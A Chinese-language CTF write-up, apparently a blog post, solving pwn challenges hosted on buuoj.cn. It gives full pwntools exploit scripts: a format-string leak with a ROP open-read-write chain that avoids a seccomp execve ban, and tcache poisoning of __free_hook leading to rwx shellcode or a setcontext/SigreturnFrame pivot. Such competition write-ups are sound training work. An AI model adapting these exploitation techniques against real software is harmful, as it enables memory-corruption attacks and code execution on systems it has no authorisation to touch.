就出了两道题,hahapwn还是赛后出的,难受

hehepwn

思路泄露libc_base + rop

hahapwn

这个题非常离谱,禁用了execve,一开始我用本地的libc.so.6能打通本地(并且read、write也能用)
然后用它给的libc结果就打不通了,主要是因为他给的libc中的read、write函数不能用,
elf文件只有puts能用,不能用sys_write
思路是格式化字符串泄露canary + libc + stack,然后,rop进行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

p = remote("node4.buuoj.cn",25546)
libc = ELF("./libc.so.6")

#context.log_level = "debug"

'''
libc_path = "./libc.so.6"
ld_path = "/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so"
libc = ELF("./libc.so.6")
p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
'''

elf = ELF("./pwn")

context.arch = "amd64"
context.os = "linux"

payload = "aaaaaaaa" + "%37$p" + "%39$p" + "%36$p"
p.sendlineafter("Welcome! What is your name?\n",payload)
p.recvuntil("a"*8)

canary = int(p.recvuntil("00"),16)
libc_base = int(p.recv(14),16) - 240 - libc.sym["__libc_start_main"]

stack = int(p.recv(14),16)

bss = 0x601098
pop_rdi = 0x0000000000400943#pop rdi ; ret
pop_rsi = 0x0000000000400941#pop rsi ; pop r15 ; ret
leave_ret = 0x00000000004007b6#leave;ret
ret = 0x0000000000400599#ret
rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x000000000003a738#pop rax;ret
syscall = 0x00000000000bc3f5 + libc_base#syscall;ret

open_ad = libc_base + libc.sym["open"]
write = elf.plt["puts"]

flag_ad = stack - 416
read_ad = stack + 8

log.info("canary: " + hex(canary))
log.info("libc_base: " + hex(libc_base))
log.info("stack: " + hex(stack))
log.info("flag_ad: " + hex(flag_ad))

payload = "/flag\x00"
payload = payload.ljust(0x68,"a")

payload += p64(canary) + "aaaa"*2 + p64(pop_rdi) + p64(flag_ad)
payload += p64(pop_rsi) + p64(0) + p64(0)
payload += p64(pop_rax) + p64(2) + p64(syscall)

payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(0)
payload += p64(rdx) + p64(0x100)
payload += p64(pop_rax) + p64(0) + p64(syscall)

payload += p64(pop_rdi) + p64(bss)
payload += p64(write)

p.sendlineafter("What can we help you?\n",payload)
print p.recv()

3.datasystem

这个题除了前面那个passwd验证,其他的就比较常规了,这个题求出了的队要的脚本才出的
passwd输入”c”* 0x20能进入菜单(ida里这一部分的逻辑非常复杂)
add函数里面有溢出,并且之前分配了rwx段
shellcode 做法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

p = process("./pwn")

p = remote("node4.buuoj.cn",26220)
#context.log_level = "debug"

libc = ELF("./libc-2.27.so")

context.arch = "amd64"
context.os = "linux"
#gdb.attach(p)

payload = "admin"
p.recvuntil("please input username: ")
p.send(payload)

p.recvuntil("please input password: ")
p.send("c"*0x20)

def add(size,con):
p.recvuntil(">> :")
p.sendline("1")
p.recvuntil("Size: \n")
p.sendline(str(size))
p.recvuntil("what's your Content: \n")
p.send(con)

def free(idx):
p.recvuntil(">> :")
p.sendline("2")
p.recvuntil("Index:\n")
p.sendline(str(idx))

def show(idx):
p.recvuntil(">> :")
p.sendline("3")
p.recvuntil("Index:\n")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil(">> :")
p.sendline("4")
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("Content:\n")
p.send(con)

add(0x28,"a"*0x28)#0
add(0x480,"aaaa")#1
add(0x28,"aaaa")#2

free(1)
free(0)
add(0x28,"a"*0x30)#0
show(0)
p.recvuntil("a"*0x30)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 -0x10 - libc.sym["__malloc_hook"]
log.info("ad: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
log.info("free_hook: " + hex(free_hook))
rwx = 0x23330000

free(0)
add(0x28,"a"*0x28 + p64(0x491))#0
add(0x10,"aaa")#1
add(0x20,"aaa")#3
free(1)
free(0)
add(0x28,"a"*0x28 + p64(0x21) + p64(rwx))
add(0x10,"aaa")

shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read(3,rwx + 0x200,0x100)
shellcode += shellcraft.write(0,rwx + 0x200,0x100)

add(0x10,asm(shellcode))

free(3)
free(0)
add(0x28,"a"*0x28 + p64(0x21) + p64(0)*3 + p64(0x31) + p64(free_hook))

add(0x20,"aaaa")
add(0x20,p64(rwx))
#gdb.attach(p)
free(0)

p.interactive()

setcontext的做法如下(一开始没看到有个rwx的段)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *

p = process("./pwn")

#context.log_level = "debug"

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

context.arch = "amd64"
context.os = "linux"
#gdb.attach(p)

payload = "admin"
p.recvuntil("please input username: ")
p.send(payload)

p.recvuntil("please input password: ")
p.send("c"*0x20)

def add(size,con):
p.recvuntil(">> :")
p.sendline("1")
p.recvuntil("Size: \n")
p.sendline(str(size))
p.recvuntil("what's your Content: \n")
p.send(con)

def free(idx):
p.recvuntil(">> :")
p.sendline("2")
p.recvuntil("Index:\n")
p.sendline(str(idx))

def show(idx):
p.recvuntil(">> :")
p.sendline("3")
p.recvuntil("Index:\n")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil(">> :")
p.sendline("4")
p.recvuntil("Index:\n")
p.sendline(str(idx))
p.recvuntil("Content:\n")
p.send(con)

add(0x28,"a"*0x28)#0
add(0x480,"aaaa")#1
add(0x28,"aaaa")#2

free(1)
free(0)
add(0x28,"a"*0x30)#0
show(0)
p.recvuntil("a"*0x30)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 -0x10 - libc.sym["__malloc_hook"]
log.info("ad: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
setcontext = libc_base + libc.sym["setcontext"] + 53
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["puts"]

rax = libc_base + 0x0000000000043a78
rdi = libc_base + 0x000000000002155f
rsi = libc_base + 0x0000000000023e8a
rdx = libc_base + 0x0000000000001b96
ret = libc_base + 0x00000000000008aa

free(0)
add(0x28,"a"*0x28 + p64(0x491))#0
add(0x100,"aaaa")#1
add(0x100,"bbbb")#3
free(3)
free(1)
free(0)
add(0x28,"a"*0x30)#0
show(0)
p.recvuntil("a"*0x30)
heap_ad = u64(p.recv(6).ljust(8,"\x00"))
log.info("heap_ad: " + hex(heap_ad))
log.info("free_hook: " + hex(free_hook))
log.info("setcontext:" + hex(setcontext))

flag_ad = heap_ad - 0x140
pay_ad = heap_ad - 0x110

payload = p64(rdi) + p64(flag_ad)
payload += p64(rsi) + p64(0)
payload += p64(rax) + p64(2) + p64(open)

payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_ad + 0x300)
payload += p64(rdx) + p64(0x100)
payload += p64(rax) + p64(0) + p64(read)

payload += p64(rax) + p64(1)
payload += p64(rdi) + p64(heap_ad + 0x300)
payload += p64(write)
payload = payload.ljust(0x100,"\x00") + p64(0x111) + p64(free_hook)

frame = SigreturnFrame()
frame.rsp = pay_ad + 8
frame.rip = ret

free(0)

add(0x28,"./flag\x00\x00" + "a"*0x20 + p64(0x111))#0
add(0x100,"a"*8 + payload)#1

add(0x100,str(frame))#3
add(0x100,p64(setcontext))#4
#gdb.attach(p)

free(3)
p.interactive()